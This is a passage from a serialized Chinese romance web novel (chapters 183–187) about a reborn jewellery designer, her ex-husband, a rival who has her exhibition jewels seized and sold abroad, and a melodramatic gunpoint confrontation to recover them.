本想着拒绝。
转念一想,也未必不是好事。
“那你跟我走吧。”
钱小小犹豫,江淮催促,“跟上吧,以后你得跟在他身边工作,好好干。”
看着女人跟着顾南风离开。
江淮松了口气。
总算是处理了一个麻烦。
很快,霍时序从内间走了出来。
“霍总,老太爷醒了吗?”
“醒了一会儿,又睡了。”
霍正诚的情况并不好。
霍家,要变天了。
……
霍时序忙了起来。
一连几天也不回家。
宋南伊也有自己的工作要做。
邓雪将行程表递给她,“老板,那两个小明星到了,他们想在签约前,见您一面,我帮您约了百合餐厅。”
宋南伊知道这两个人在国外CP很火。
准备两个都签。
一个叫JO性别男是母的,一个叫MEI性别女是公的。
他们的组合,CP粉巨多。
代言的品牌,代一个火一个。
她的珠宝,如果能借此走上国际的舞台,前途不可限量。
“可以,他们有什么喜好吗?”
明星大多爱玩,尤其是国外的明星,玩心特别重。
邓雪已经定好了玩乐的场所,“老板,您是要陪吗?霍总那边……”
“我是在工作,况且,我和他都离婚了。”
“是。”
吃完饭后。
宋南伊带他们去狂欢。
一直玩到深夜,才算把这两个小祖宗伺候明白。
“宋总,能跟你合作,是我们一直以来的夙愿,我真的好喜欢你家的珠宝和你。”妖娆的JO,搂着宋南伊的腰,趁她不注意,在她脸上亲了一口,“那,我当你是姐妹的,我一定会用百分之二百的力气,帮你宣传的。”
MEI也搂住了宋南伊的肩,亲吻了她的头发,“第一次跟这么漂亮的女老板合作,我和他一样,一定会尽全力的。”
宋南伊对这些亲密的动作,稍微有些不适,但也没跟他们计较。
礼貌的微笑着,“你们也早点回去休息,明天有签约的记者会,我希望能圆满。”
“放心吧,我们一定会配合好的。”
她让邓雪送他们回酒店。
刚要松一口气,一抬眼,就看到霍时序靠在车子旁,正直勾勾地看着她。
“这左拥右抱的,还真是快活呢,宋总。”他低头拢着风,点了根烟,不远不近地望着她,吸了口,“这业务谈得我是,好生的羡慕。”
“你阴阳怪气什么?”宋南伊撩起自己的头发,故意气他,“我是资本,他们讨好我,不是应该的。”
“那你何必舍近求远。”他吸了口烟,将烟卷扔到脚底碾灭,“你要请我做代言人的话,你的品牌也会升几个台阶。”
宋南伊笑了。
目光将他上上下下的打量着,“又老,又瘸,又被霍氏除名,霍时序,我们有钱人,是有钱,但又不是傻子,亏本的买卖,不干的。”
“你就会成心气我。”他大手握住她的腰,将她扯到身前,“气死我,这世界上可就没这么爱你的人了。”
“霍总有点过于自信了。”她累了,明天还得起大早,准备发布会,不想跟他瞎扯别的,“没事的话,我得回家睡觉了。”
“亲一个。”他将脸递过去。
宋南伊抬手推开,“幼稚。”
回到家,宋南伊倒头就睡。
霍时序想干点坏事,没得逞,一肚子的怨气。
……
宋南伊的珠宝发布会当天。
裴吟亲自送来了鲜花。
宋南伊一直在忙,也没有空出时间跟她聊两句。
等工作忙完后。
裴吟也走了。
“老板,发布会很成功,JO和MEI身上佩戴的款式,已经收到二千个订单了,接下来,我们有硬仗要打了。”
工作室以前专做手工订制,开发了品牌YY后,再加上稳定高品质的宝石供应,冲击的是国际一流的奢侈品牌。
这是一个好的开端。
以后还会越来越好。
“邓雪,接下来,你可有得辛苦了。”
“老板,你放心吧。”
忙完已经夜深。
今晚,霍时序没来接她回家。
宋南伊突发其想,想去他的新公司瞧一眼。
开着车子,打开导航,一路开到了江城的新区。
公司不算很大,一幢商务大楼的三层到六层。
只有一层的灯是亮着的。
门口只有一个保安在打瞌睡。
她摁了电梯上楼。
静悄悄的。
还没走近,就听到了说话的声音。
“师哥,多年未见,还以为你已经在霍氏养老了呢,没想到,你竟然自立门户,开始创业了,你让我说什么好呢?是佩服,还是唏嘘?”
女人的笑声爽朗清脆。
宋南伊听出了几分耳熟。
第183章 嫌他碍事
叫得上名字来的,跟霍时序关系近的师妹就一个。
何丽诗。
在霍时序追求她的那些年里。
这个小师妹,可没少出现。
当时宋南伊一直拒绝霍时序,就是因为这个女的。
那时,她以为他们是一对。
何丽诗从不解释。
霍时序解释,宋南伊也不信。
要不然,何至于追求七年,她才肯点头跟他在一起。
霍时序一直不缺喜欢他的女人。
比起陆为谦的温润礼貌,他过于痞气和没有方圆。
比起裴啸的爽直和善良,他又过于世故圆滑。
就是这种矛盾体,再加上出众的外形,一直被江城的上流社会的名缓们喜欢。
她其实不太喜欢这样的类型,前世嫁给他,纯纯的是头脑发热。
婚后三年,平心而论,她和霍时序够相爱,也过的很幸福。
要不是后来出现了苏语安,发生那么多不该发生的事情,或许现在的她,正忙着斗霍时序的各种小三。
这一世,她已然没这种兴趣。
“师哥,听说你离婚了,考虑一下我呗。”何丽诗的声音,打断了宋南伊的思绪。
霍时序只是笑了笑。
何丽诗的话,又挑起,“怎么了?我现在可不是小毛丫头了,我手上有资源,我也还年轻,最关键的是,我现在见了你啊,依然会心动。”
宋南伊轻笑。
旧情复燃?
有时候新欢并不可怕,怕的就是旧爱。
再有能力的第三者,也干不过求而不得的白月光。
何丽诗算不算霍时序的白月光?
应该不算。
但绝对是有过暧昧的……对像。
霍时序倒了冰可乐给何丽诗,“喝点可乐,压压身上的火气。”
“师哥,我是说真的。”何丽诗接过他递过来的可乐杯,“其实,这些年,我一直在关注你,你现在离婚了,我要再追求,也不算是第三者插足,不是吗?”
宋南伊面色沉下。
何丽诗说的没错。
霍时序是自由的,他条件不错。
即便现在的腿还有点瘸,但慢慢会好起来的。
有追求者很正常。
她和他在一起,说的直白一些,生理需求。
说的冠冕堂皇一些,为了孩子有个爸爸。
还能有什么?
感情吗?
经历了那么多,感情本身建立的就很困难,稍微有一点升温,就会有不同的人,掺和进来。
恢复如初,已然行不通。
宋南伊对感情的事情,看开了许多。
已经没有前世,刚听说他和哪个女人在一起时的嫉妒,狂躁,和不顾体面。
转身。
宋南伊离开公司大楼,驱车回家。
客厅里还有路姐为她留的灯。
这个说家,又不是家的环境里,她其实没有一天是轻松的。
好在,她还有钟爱的事业。
无论是前世还是这一世,她都没有放弃过,是唯一值得庆幸的地方。
……
又是几日。
宋南伊终于在下班的时候,见到了来接他的霍时序。
依然是那辆绝版的劳斯莱斯,依然是一个见了她就会笑的男人。
今天,他没有拿手仗。
看来工作繁忙,应付女人中,还坚持了做康复。
“腿好了?”她问。
霍时序点头,“可以拿掉手仗了,但是每天走的路太多了,还是不行,慢慢锻炼吧,总之一步步在进步。”
宋南伊微微笑。
“挺好的,恭喜你。”
“那不抱抱我吗?”他张开双臂,眼底尽是对她的期待。
宋南伊唇角上依然挂着笑意,但并没投入他的怀抱,“霍时序,我有些事情,要跟你商量,咱们车上说吧。”
宋南伊拉开车门,坐进了后排。
她没抱他,霍时序有点小失落。
但也没敢计较。
弯身坐进车里,“要商量什么?”
“妈恢复的也不错,路姐照顾的也蛮好的,我现在工作这么忙,你也这么忙,我们本身见不上什么面,不如,我以后就周末的时候,带小核桃回来住两天,你看怎么样?”
宋南伊的语气,极为淡然。
也完全是在商量。
霍时序蹙眉。
分居?
他不理解。
明明之前,还好好的,也接受了在一起住,怎么突然就……反悔了?
“不是,我没太明白,你这是什么意思?咱们之前不是商量好了,是,我可以接受你暂时不给我名分,我也愿意努力的达到你的要求,你别想一出是一出啊。”
霍时序气的有点语无伦次。
宋南伊依然恬淡的不像话,“嗯,我觉得这样是最好的相处方式,本身我们住在一起,也是为了照顾妈,妈现在身体恢复的很不错,小核桃周一和周五都在幼儿园里,爸爸妈妈住不住在一起,他也不知道,只要周末在一起,开开心心地过两天就好了。”
霍时序眉心皱紧。
不对。
是这么回事吗?
“南伊,你是不是……”
她微笑着望向他,“我也考虑几天了,说实在的,我也想要一些个人的空间,而且,我的工作室现在有一些新的规划,不希望让媒体拍到一些有的没有,绯闻会影响到品牌的发展,你是知道的。”
霍时序:……
嫌他碍事了?
车外风平星静。
车里的男人被一股无名火顶的,想要发疯。
但他还是忍下脾气,软着声音道歉,“怪我最近太忙了,南伊,新公司要走上正轨,前期有很多的工作要做,抱歉,我忽略了你的感受,我……”
“霍时序,我没有怪你,我完全是在为我自己考虑。”她浅浅垂眸,声调清清,“我们重生了两世,我们重新拥有了家人,我们的恩怨情仇也已经和解,感情的事情,看缘分吧,现阶段,我想先努力的工作,在这个家里,我……有些压抑。”
霍时序感觉自己要被踢出局。
但他又找不到证据。
一定是发生了什么。
可是发生了什么呢?
当下,只能用缓兵之计,“既然这样,我尊重你的选择,那我们要是都有时间的话,周五的时候,一起去接小核桃放学,然后回家里来,行吗?”
“好。”宋南伊同意了。
他还是提醒了宋南伊一句,“我不在你身边的时候,你记得要离顾南风远一点,新公司成立后,对标的商战对象就是顾南风现在负责的霍氏业务,
他这个人不会做生意,但歪门邪道很多,怕他被整急了,狗急跳墙,转而对付你,南伊,你是知道的,我很怕发生这样的事情。”
“你也总不能把我栓在裤腰上,成年人的世界,自然是来什么,解决什么,你就别担心了,”宋南伊其实也不怎么怕顾南风,“我也不会主动去招惹他的。”
“雇个保镖吧。”他说。
第184章 逼我离婚,就得给钱
宋南伊:……
至于吗?
“霍时序,你是不是想太多了,现在是法制社会,顾南风跟你有怨,跟我又没有仇,实在是没必要。”
宋南伊拒绝。
但霍时序坚持,“你是我爱的女人,在他心里,你和我本就是一体的,还是雇个保镖吧,就雇宁时,我觉得他挺合格的。”
宋南伊:……宁时?
前世是机缘巧合,裴吟给她找来宁时。
现在,她去哪儿找宁时去?
“我不需要保镖。”
“不仅是保护你,也会保护小核桃,就这么说定了,否则我就不让你搬走。”这是他的底线。
宋南伊想不通。
他想雇保镖这事,到底是防顾南风,还是监视自己。
“随便吧。”
……
宋南伊也不知道霍时序从哪找到的宁时。
她从别墅里搬走的第三天,宁时就去了她的公司报道。
前世熟悉的人,再次这样活生生站在她面前。
宋南伊心里的感觉……乱七八糟的。
“你好宋总,我叫宁时,是霍总雇来保护您的,我会一天二十四小时,都保护在您的左右,预防一切突发事件。”
宁时还是那样的一板一眼。
敬业的不要不要的。
宋南伊扶额,她又不是总统,用不着一天二十四小时的保护。
“也不用二十四小时……呃,平时,我工作的时候,你就在我办公室外面坐着好了。”
“好的宋总。”
宁时孔武有力,人又高大,拿了个小凳子往门口那么一坐,看得邓雪实在是憋屈。
“宁先生,来,换把椅子,那个凳子太小了。”
邓雪递了把宽厚的椅子给他。
他立马起身,工工整整的接过去,“谢谢。”
“别客气,我们都是给宋总打工的,是同事,同事之间,没那么多的客套。”邓雪笑着,礼貌温和。
宁时尴尬咧了咧嘴。
又重新坐好。
宋南伊好像又回到前世怀孕的那个时候。
宁时会不离不弃的,尽心的护在她的左右。
她有时候很恍惚。
感觉自己在时空里来回的穿梭。
……
因为拓展业务,宋南伊要出国出差。
出差前一天晚上。
她找了个下午茶的时间,约裴吟出来坐了坐。
还好,她没有拒绝。
这让宋南伊也得知了一些,她结婚后的故事。
“那老太太病逝,本就与你无关,陆之白是不是脑子不清醒,非得把这笔账算到你和你娘家头上?陆为谦怎么说啊?”
裴吟搅动着面前的咖啡杯,神色暗沉,“明着看,他在维护我,但是……我也看出来了,陆之白连日来的施压,他已经快扛不住了,离婚啊早晚的事情。”
“才结婚几天,就离婚,陆家人太欺负人了。”
宋南伊心疼裴吟。
但她没想到陆家人这般的糊涂。
裴吟倒没有多大的情绪,这段时间,她也没少折磨陆家的人。
“我也没吃什么亏,我和陆为谦他……一直也没有同过房,我还是黄花大闺女,只是名声上不好听,成了二婚而已。”
此话一出。
宋南伊一口咖啡,差点喷到裴吟的脸上,“你在这儿跟我玩纯爱呢?这么久了,你们……不睡一张床吗?你不行,还是他不行?”
“都不是。”提起这个,她就一肚子无明火,“陆家人以老夫人逝世为由,坚持不让我们同房,说我本就是丧门星,百日内跟我这种人同房,又是大秽之事,会给陆家招来祸端,我们就被迫分开睡了。”
“啊?”闻所未闻,“那陆为谦,就任由着陆家胡闹吗?”
“起初几天,他也没听,但是一到睡觉时间,程岚就会跑到我们门口,敲门,哭闹,跟吊丧似的,说一些有的没的,我很烦,就把陆为谦赶出去了。”
宋南伊着实是惊到了。
这到底是什么样的奇葩人家。
她快心疼死裴吟了。
“那你这些日子,怎么过来的?”
“他们闹我,我就闹他们,想赶我走,就得给我钱,不给钱,又天天骂我,我就骂他们,反正他们要脸,不敢声张,只能自己咽这窝囊气,我反倒比他们痛快些。”
裴吟得意的神情后面,藏着一丝,不为人知的落寞。
她比任何人都清楚。
她和陆为谦的婚姻已经完蛋了。
宋南伊不知道说什么好。
裴吟笑了,“干嘛?这个结局我想过的,只不过内容变了,时间提前了,可惜的是,我这辛苦一场,没能怀个孩子,最后啊……”
她一扭头,看到了宁时,“……那男
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的是你保镖吗?长得还怪不错的,有女朋友吗?”
宋南伊无语**。
揪着裴吟的耳朵,让她收回视线,“你又没离婚,不准对别的男人,心怀歹意。”
“问一嘴,又不是真要干什么的,这种满是肌肉的男人,更适合你这种小白兔。”裴吟喝着苦涩的咖啡,看向宋南伊说,“你看,幸好你没有接受陆为谦的追求,你要真嫁到陆家……不死也得扒层皮。”
宋南伊对陆家不太了解。
陆蔓挺好的。
陆为谦也是谦谦君子。
怎么,陆之白这个当家人,反而是个难缠的玩意。
她叹息。
裴吟反过来安慰她,“我没事的,我还有家人啊,大不了就离婚回家呗,我哥说了,她会是以我坚强的后盾。”
提到裴啸。
宋南伊似是想起了什么。
从包里拿出一个四四方方的小盒子,“上次去花城,裴啸哥帮我介绍了生意,我也不知道送他什么好,就挑了枚胸针,我觉得挺适合他的,你帮我送给他吧。”
“这么客气。”裴吟先打开来看了一眼,“别说,还挺适合我哥的,不是我说你宋南伊,你反正都离婚了,不考虑考虑我哥吗?”
“别开玩笑了,我当他是亲哥来着。”
裴吟只好将遗憾再次咽下,“好吧,我一定把礼物给你带到。”
二人说话的功夫。
裴吟一抬眼,眼珠子差点崩出来,“霍贱狗。”
宋南伊回眸。
就看到霍时序和那位叫何诗丽的小师妹,有说有笑的,走进了下午茶餐厅。
说是心里没有感受是假。
多么拈酸吃醋,也没有。
就是挺恍惚的。
像是看到了前世,他和别的女人在一起的样子。
她不否认,男女之间,存在着真正的友谊。
但她不确定,眼前这对旧人,会不会旧情复燃。
“他是怎么一边想挽回你,一边跟别的女人,打情骂俏的?宋南伊,我看你还是把霍贱狗拉进黑名单吧,他真的是杀一万遍,也不过分。”
裴吟撸起袖子,准备过去要讨个说法。
宋南伊将她拽住,“别冲动,他们,也许……只是……”
“只是什么呀只是,你没看到那女的眼珠子都要粘他身上了,宋南伊,你清醒清醒吧。”
第185章 大白天的找三陪
宋南伊不是不清醒。
只是不想随便给霍时序钉上什么标签。
前世,他们之间的误会太多。
就在于各自的胡乱揣测。
而且大厅广众的,实在不想丢那个脸,“听我的,坐下来,我和霍时序现在什么关系都没有,他有权利跟任何女人建立关系。”
“宋南伊,你真是……”裴吟气哼哼的坐下,“……行,我听你的,不管霍贱狗有没有意思,那女的,意思够明显的了,你看她的胸,都要贴到贱狗的胳膊上了。”
“她叫何诗丽,前世霍时序追我那几年,她就像他的跟班一样的,倒是结婚后,没怎么见过她,他们是老相识,熟络一些,亲热一些正常。”
裴吟认为宋南伊这样想是不对的。
没有建立亲密的关系,就暧昧,那是犯了大忌,“那你到底怎么想的嘛?”
“我……,我也不知道他们以前的关系,现在的关系,我也不想乱去猜测,你知道吗?前世和霍时序闹的最凶的时候,他骂我是妒妇,
这一世,我不想把精力全部放在他的身上,我明天就要去出差了,眼不见为净吧,本来我们就没有什么关系,不必自寻烦恼。”
宋南伊这番话,还是让裴吟稍稍放心了一些。
女人确实不必把精力,都用在男人身上。
感情这种东西,你松它就紧,你紧它就松。
要是真的握不住,那就扬了。
男人多的是。
“那你的保镖也跟着去吗?”裴吟看了宁时一眼,“我怎么觉得他好面熟啊,好像在哪儿见过。”
“前世,你曾经把他介绍给我做保镖的。”宋南伊笑笑。
裴吟一脸的懵。
宋南伊重生。
她没有重生,哪知道这些,“不管怎么样,有人保护你是好事。”
“我出差可带不了他去。”
“那就祝你一路顺风吧。”
离开茶餐厅时。
刚好霍时序和何诗丽也起身往外走。
兴许是没有想到,如此的巧合,霍时序脸上,明显有一丝诧异,“南伊,你也在这儿啊?”
没等宋南伊回应,裴吟已经侧身挡在她前面,“怎么,这餐厅是你霍家开的?就准你带人来,我们就不能来了?”
她语速不快,却字字带刺,对着霍时序就是一顿输出,“霍时序,你是不是狗病又犯了?大白天的找三陪,还要不要点脸了。”
“喂,你说谁呢?谁是三陪?你怎么说话这么难听?”何诗丽声音拔高,脸色难看。
裴吟连正眼都没给她一个,鼻尖逸出轻笑。
“谁接话,我就说谁。”
“你……!”
何诗丽气得脸色发白,狠狠瞪了裴吟一眼,高跟鞋猛地踩响地面,径直走向路边停着的车子。
霍时序目光越过裴吟看向宋南伊,像是想要解释什么,“南伊,你别误会,我们只是……”
“不好意思,我还有工作。”
宋南伊打断他,声音平静。
她甚至没有多看霍时序一眼,只轻轻拉了下裴吟的手臂,“先走了。”
裴吟瞪了霍时序一眼。
跟着宋南伊一边走,一边火大的继续输出,“我看啊,你就借着这个机会,跟他彻底分开得了,这种男人,真的不值得,你别好了伤疤,忘了疼。”
“好了,不说这个了,我得先回家,准备一下明天出差要带的东西,回来咱们再找个时间聚一下。”
宋南伊言语淡淡。
裴吟与她挥手告别,“那你路上小心哦。”
宋南伊点头,上车,刚系上安全带,霍时序便追了过来,“南伊,你是不是误会什么了?”
“没有啊。”宋南伊冲他笑了笑,“还有别的事情吗?”
“何诗丽是我们这次项目的一个重要的合作伙伴,我和她聊的都是工作上的事情,绝无私人感情,你相信我。”
他信誓旦旦。
宋南伊耐心点头,眼尾却有一丝的失望,“我相信你。”
“那你别生气。”
宋南伊脸上依然是淡淡的微笑,“我没生气,你不是也说了,你们在谈工作。”
“真的?”他不确定。
她面色平和,抬腕看了眼时间,“没事我就先走了,要不然,真来不及了。”
“晚上,我去找你好吗?”
宋南伊摇头拒绝,“我这几天很累,我想早点休息,改天吧。”
“那行吧,过几天我再去,南伊,我会想你的。”
宋南伊升起车窗玻璃,驱车离开。
霍时序总觉得怪怪的。
又说上哪里怪。
过于的包容,过于的放心,过于的没拿他当回事?
是了。
不重要,也就不计较。
让她搬走,还真不是明智之举,自由有了,隔阂也有了,该当场解释明白的误会,更有了。
他有点头疼。
项目必需要提速了。
……
宋南伊如期去了国外出差。
展览会的事务较多,她带上了邓雪。
事情开始的还是比较顺利。
各个展会的人员,在沟通上也比较顺利,订单提交了很多,宋南伊和邓雪每天的工作到很晚。
最后一个展会,面对的是高收入的富豪。
展会人员说,为确保安全,她们展出的珠宝,都要过一道人工安检。
这道安检上出问题了。
直到展览开始,珠宝都没有还给她们。
“老板,我去问了,他们说,我们的珠宝有问题,扣下了,这些珠宝可是我们压箱底的货啊,价值超亿呢,他们就这么随便扣下,怎么办啊?”
异国他乡。
有一种叫天不应,叫地不灵的无助。
宋南伊也亲自找了主办方,那个一头黄毛卷的洋鬼子,摊摊手说,“我也没有办法,要不,你们报警吧。”
于是,报警,录口供。
结果,一等就是十天,不但东西没要回来,警察也不管了。
邓雪一直在联系,一切可以帮助到的人。
一听主办方的名字,都忌惮的拒绝了。
这更加坚定了,东西被私吞的可能性。
“太欺负人了,这跟黑社会有什么区别?”邓雪气的要哭。
宋南伊也着急。
她也打了无数个的电话,个个讳莫如深。
她猜,自己这次是被下套了。
可她没有得罪过人。
会是谁呢?
“老板,要不,我们联系下霍总吧,他认识的人多,可能会帮上我们。”
找霍时序帮忙,或许是一条路。
但宋南伊不确定,他就一定能帮得上。
昨天,裴吟跟她发消息的时候,说霍时序和裴啸的新公司被人举报,正在被调查,也是一滩子的烂事。
他已无暇分身。
哪里顾得上她。
“算了,我们再想想办法吧,大不了,这珠宝我们不要了。”
邓雪愕然。
这些珠宝价值是一方面,全是宋南伊的心血,是她熬了无数个日夜设计,而后亲自制作的。
怎么会舍得,就这样拱手让人了。
宋南伊焦头烂额到睡不着觉。
日日夜夜的,终于是病倒了。
看着病床上,昏睡着的女人,邓雪六神无主。
宋南伊不想联系霍时序。
可谁又能帮她们呢?
第186章 摁住他,这一枪我不想打偏了
如果有人肯帮,早就帮了,何至于到现在这个境地。
邓雪瞒着宋南伊,还是给霍时序打了个电话。
其实,她心里也没有底。
不知道霍时序能不能伸出援手。
目前这种情况,又实在顾不了太多。
硬着头皮,拨通电话,“霍总,我们出事了,能不能请你帮个忙……”
邓雪捡着重要的说了说,用了五分钟的时间。
最后又补了句,“……霍总,宋总她最珍重的是外婆当年送她的成人礼,那是外婆亲自设计制作的,用了三年的时间,外婆生前最疼爱宋总……要不是为了外婆送的这条项链,那些珠宝,其实宋总是可以舍弃的。”
而后就听到男人沉哑的声音传过来,“照顾好她,我马上过去。”
“好的,谢谢您。”
……
宋南伊反反复复的发烧。
即便这样,她还是拖着生病的身子,积极的找人,想知道,到底是得罪了什么人,给她下这么大一个套。
钱送出去了不少。
回馈的却少之又少。
半夜。
她总是做一些乱七八糟的梦,睡得并不安稳。
梦里,有人上了她的床,将她搂进了怀里。
怀抱很温暖,让沉浮的思绪,慢慢的沉淀。
她像抓住了什么坚硬可靠的东西,紧紧的,很有安全感。
“再抓就废了。”男人的声音在她的耳边响起。
很真实。
还有温热的呼吸。
宋南伊吓的松手,像是从梦中惊醒一般的,掀起沉重的眼皮……
“你,你……”她不确定是在做梦,还是真的,“……你?”
“是我。”
是霍时序。
她被重新搂进怀里,温声安抚着,“别害怕是我,我来了。”
宋南伊收起狂跳的心。
靠在他的胸口,“你怎么来了?”
“发生了这么大的事情,怎么不跟我讲呢?”他心疼她独自承受,“非得把自己弄生病?即便是求了所有的人,也不来找我?南伊,我就这么不值得信任吗?还是说,你还在生我的气?”
“我以为会很好解决。”
宋南伊也没有想到,会拖到现在。
“好了,不想了,好好的把身体养好,余下的事情交给我,嗯?”
这句话,就像给宋南伊打了定心针一样的。
莫名其妙的,她对他产生了信任。
只是她知道,这事如果在国内,很容易很多。
国外,很多未知的因素。
“那你公司的事情,处理完了吗?”她声音小小的,在这寂静的夜晚,却格外的清晰。
他理解为,这是对他的关心。
“公司的事情,还有裴啸呢,谁的事情,都不如你的事情重要。”
宋南伊的心口有些潮湿,“谢谢你,霍时序。”
……
一大早。
霍时序就带着江淮去了江边。
他像是在等人。
指尖的烟明明灭灭,面色平和冷峻,风吹起他的头发和衣角,像是有一场未知风暴要降临。
“霍总,他来了。”
霍时序将指尖的烟,递到唇上吸了一口,丢到脚下碾灭。
起身,他看向了来人。
“果然是你。”
“大哥你,还是这么的爱妻,自己那一摊子破事不管,跑到这儿来,我可真羡慕你自以为是的爱情啊。”
顾南风唇角讥讽。
自从他接管霍氏后,越发的不把霍时序看在眼里。
先是投机倒把的,给霍时序的新公司,灌了不少的罪名,拼命的举报。
又梅开二度,将宋南伊的珠宝和人,都困在了比利时。
那批珠宝,他已经寻了买家。
卖了几千万。
这钱到账上还没有捂热乎。
霍时序找上门来了。
他近乎慵懒的坐到了霍时序的面前,自顾自的点了根烟,递到唇上吸着,“我可没有困着宋南伊,不让她离开,是她非要不走的,你别把气撒在我身上啊。”
“珠宝展,是你精心设计的圈套,为的就是宋南伊展出那批珠宝,你到底是把手伸到了她的身上,顾南风,你这样作死,我可真是帮不了你。”
霍时序从后腰摸出一把枪,上膛,将板机扣住,抵在了顾南风的脑门上。
“我说过,动谁都不要动我的女人,你好像都当成了耳旁风。”
顾南风吸烟的动作一滞。
他以为,最多挨霍时序几个拳头。
没想到,他来硬的。
“大哥,你这是干嘛,我哪里动宋南伊了?我可一根手指头,都没有动过她,你这……”
顾南风往后撤了撤脑袋。
霍时序扣动扳机,子弹擦着他的耳边,射了出去。
没有废话,没有犹豫。
子弹撕裂耳廓的声音,随着子弹的射出,毛骨悚然。
顾南风哪想到,霍时序会真的开枪。
捂着耳朵的手掌,满是自己平凡的O型血。
“你,你……你要杀人啊?”
霍时序吹了吹冒着烟的枪口,神态依然,“南伊的珠宝呢?”
顾南风还想狡辩一番。
硬着头皮,“我,我哪知道。”
“看来,你这命是不想要了。”霍时序看向江淮,“摁住他,这一枪我可不想打偏了。”
顾南风吓住了,“别,别,我说,我说还不行吗?那珠宝,我……我卖了。”
“卖给谁了?”他再次将枪抵在了顾南风的太阳穴,“说。”
“卖给比利时的黑手党老大,他女人特别喜欢宋南伊的设计,他为了讨好那女的,就找我买了那批珠宝,你想让我要回来,我肯定是……做不到。”
那可是黑手党。
不是小商小贩。
想要赎回,那至少得用三倍甚至五倍的价钱。
那还得在人家愿意的情况下。
讨好女人的东西,一旦送出,再拿回来,那是掉面儿的事,十之八九,这东西是回不来了。
“卖了多少钱?”
顾南风不敢撒谎,“三,三千万。”
霍时序执枪的手,重重抬机,用后座重重的砸向了顾南风的脑袋。
顿时血流如注。
“那是南伊的心血,你三千万就给卖掉了?”
顾南风被打得眼冒金星,头昏脑涨,“反正是卖了,你让我怎么办?大不了,我把钱转给你。”
“给那黑老大打电话,我要跟他见个面。”霍时序吩咐。
顾南风不敢。
当初要不是,想让宋南伊的珠宝彻底消失,他也不会选择跟一个黑手党交易。
“要不,你自己打吧。”
“我在跟你商量吗?”霍时序抬腿就是一脚,重重的踢在了顾南风的胸口上,“别他妈废话,老子没那么多耐心哄你玩。”
顾南风迫于压力。
只好给黑手党打去了电话。
“通,通了……”他赶紧将手机,交给了霍时序。
至于霍时序跟那头怎么讲的。
顾南风也不知道。
他想趁着他打电话,无暇顾及,偷偷的逃走。
被江淮伸手拦下,“顾总,霍总没让你走呢,你就这么走了,那……枪口可是不长眼的,万一……”
“人我也帮着联系上了,我也没用了,我还有事,我就先走了……”
他现在哪还管得上,那枪子是不是往他身上射。
先跑为上。
江淮看了霍时序一眼。
他没有指示,也便没再去追。
挂断手机,霍时序沉着脸,走了过来,“走吧。”
“霍总,那头怎么说?”
“想要拿回珠宝,得用身体的一个部位去换。”这是原话。
江淮震惊:“那您答应了?”
第187章 见你一次,打你一次
这可不是小事。
就算珠宝再珍贵,拿身体的一部分去换,也实在是没有道理。
“霍总,您没答应吧?”
霍时序面色沉重,“先见了面再说吧,那是南伊的心血,我必需要将那些珠宝拿回来。”
这话听得江淮心里没底。
黑手党个个心狠手辣。
霍时序单枪匹马的一个人去闯,就算加上他,两个人,也不是人家的对手啊。
“霍总,要不,咱们再想想别的办法吧?”
霍时序没说话。
红色的眸底,似乎在酝酿着什么。
……
医院里。
江淮恭敬的出现在了宋南伊的面前。
“太太,霍总让您回国养病,余下的事情,他会亲自处理。”
宋南伊纳闷,“他人呢?”
“正在忙。”
“我等他忙完,一起回吧。”宋南伊是有担心在的。
江淮平静解释,“霍总说,您的身体有点虚弱,还是回江城好好养一下,而且您在这边呆的时间过长,那边小少爷可能想妈妈了。”
搬出小核桃。
宋南伊难免不会心软。
“江淮,你跟霍时序说,那珠宝要不回来就算了,这边人生地不熟的,我不希望他出事。”
江淮点头,“霍总有分寸的,您放心好了。”
尽管是这样。
宋南伊还是觉得心里没底。
“查到珠宝的去向了吗?是不是有什么人,给我们下套了?”
江淮:“是顾南风。”
“是他?”宋南伊意外。
他处心积虑的,把她骗到国外,就为了她的珠宝吗?
还是……
“为什么他要做这种事情?是因为霍时序?还是什么?”
江淮只能苦笑,“可能是他脑子有病吧,他一直想证明什么,但一直没做什么拿得上台面的事情。”
世子之争,向来如此。
顾南风知道自己不是经商的料。
想要在霍氏扎住脚跟,就得用别人的不行,衬托他的行。
举报,让霍时序顾不上霍氏的事情。
搞宋南伊,让霍时序没有精力,对付他。
这样,他就能坐稳霍家继承人的位子。
江淮挺瞧不上这种人。
“太太,机票,我已经订好了,您收拾一下,我送您去机场。”
宋南伊不想走。
又觉得自己留下来,可能会为成霍时序的累赘。
“行吧。”
……
宋南伊回到江城后。
身体恢复的很快。
因为在国外呆了太久的时间,落下了很多工作上的事情。
她天天加班。
即便工作到很晚,她都会给霍时序发个信息,问一问那边的情况。
奇怪的是。
霍时序一条消息也没有给她回。
她有些担心,给他打电话过去,手机关机了。
几天后。
她收到了一个比利时发过来的国际快递。
“老板,那里面是什么呀?”邓雪很好奇。
她去拿快递时,掂着挺重的,一直猜测着,会不会是那一批被扣下的珠宝。
宋南伊同样期待。
盒子打开后。
金灿灿,沉甸甸,都是她们拿去展览的珠宝。
“我们的珠宝回来了。”宋南伊惊喜,赶紧交给了邓雪处理,“马上清点一下。”
“好的老板。”
邓雪拿着单,对照着,一件件的清点。
宋南伊则拿着手机,去给霍时序打电话。
很奇怪,依然没的接通。
她心生疑惑。
给江淮打去了电话,倒是通了,没人接。
什么情况?
会不会是,他们在比利时出事了?
会是这样的吗?
要不然,怎么不接电话,不回信息呢?
宋南伊心脏一紧,拿起包来,准备去见一个人。
走到门口。
她叫上了宁时,“你跟我出去一下。”
“好的,宋总。”
宋南伊见的不是旁人。
而是已经回国的顾南风。
顾南风看到宋南伊,身后站着的宁时,嗤笑,“至于吗?还搞个保镖?我能吃了你吗?大嫂,咱们是一家人,你这样,有点不把我当自己人了。”
“你是自己人吗?”宋南伊冷笑。
顾南风抽了根烟,递到唇上,不以为然,“说吧,找我有什么事情啊?我很忙,没空陪你闲聊。”
“你把我的珠宝卖给谁了?”宋南伊开门见山。
顾南风点烟的动作一滞,旋即笑了起来,“霍时序没回来?老天可真长眼啊,他不会死在外面了吧?”
话音刚落,烟还未点着。
宋南伊抬手给了顾南风一个
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巴掌,他嘴上的烟卷也一同飞了出去。
“顾南风,你到底把我的珠宝卖给谁了?”
顾南风莫名其妙的挨了一巴掌。
气要揍人。
宁时上前,冷脸将他推开,“你想干什么?”
“你有保镖你了不起啊?”顾南风动了动腮上的肌肉,“宋南伊,你以为你是谁啊?说白了就是霍时序的前妻,一个他不要的女人,有什么资格来问我?”
话音刚落。
宋南伊又抬手掴了他一个巴掌。
“说,你把我的珠宝到底卖给谁了?”
“我C。”顾南风忍不了了,抬手就要还一个巴掌。
